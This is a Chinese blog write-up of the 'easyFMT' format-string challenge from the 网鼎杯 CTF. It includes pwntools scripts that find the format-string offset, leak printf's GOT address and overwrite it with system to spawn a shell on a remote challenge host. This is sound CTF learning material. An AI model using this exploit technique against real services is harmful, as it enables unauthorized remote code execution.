pwn 网鼎杯 easyFMT

13 篇文章 0 订阅

作为一个菜狗子只能等大佬的writeup学习   才会做

easyFMT看名字就是到是格式化串洞,然后就是要确定存在格式化串洞的参数是第几个

确定为是print的第六个参数

大佬计算参数的脚本是:

#!/usr/bin/python

from pwn import *

elf = ELF('./pwn')
for i in xrange(1,100):
    p = process('./pwn')
    p.recvuntil("Do you know repeater?\n")
    payload = 'AAAA,%' + str(i) + '$x'
    p.sendline(payload)
    try:
        data = p.recv()
        if '41414141' in data:
            print ""
            print "[+] Found it: {}".format(str(i))
            print
            p.close()
            break
        else:
            p.close()
    except:
        p.close()

 

然后这个题的思路是 把printf的got表内容改成system的地址,这样调用printf函数的时候就会调用system从而拿到shell

这里利用LibcSearcher根据泄露的printf的地址,找到对应的libc版本,然后在找到对应的system 的地址,最后进行内存覆盖

from pwn import *
from LibcSearcher import LibcSearcher

elf = ELF('./easyFMT')

#p = process('./pwn')
p = remote('192.168.1.9', 6667)
#p = remote('106.75.126.184', 58579)


def get_addr(addr):
    p.recvuntil("Do you know repeater?\n")
    payload = p32(addr) + '%6$s'
    p.sendline(payload)
    data = p.recv()
	print data
	return u32(data[4:4+4])

def main():

	printf_got = elf.got['printf']

	printf_addr = get_addr(printf_got)

	print printf_addr

	libc = LibcSearcher('printf',printf_addr )

	libcbase = printf_addr - libc.dump('printf')

	system_addr = libcbase + libc.dump('system')

	payload = fmtstr_payload(6, {printf_got: system_addr})

    p.sendline(payload)

	p.recvuntil('\n')

	p.sendline('/bin/sh\x00')

	p.interactive()

if __name__ == '__main__':

	main()

 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值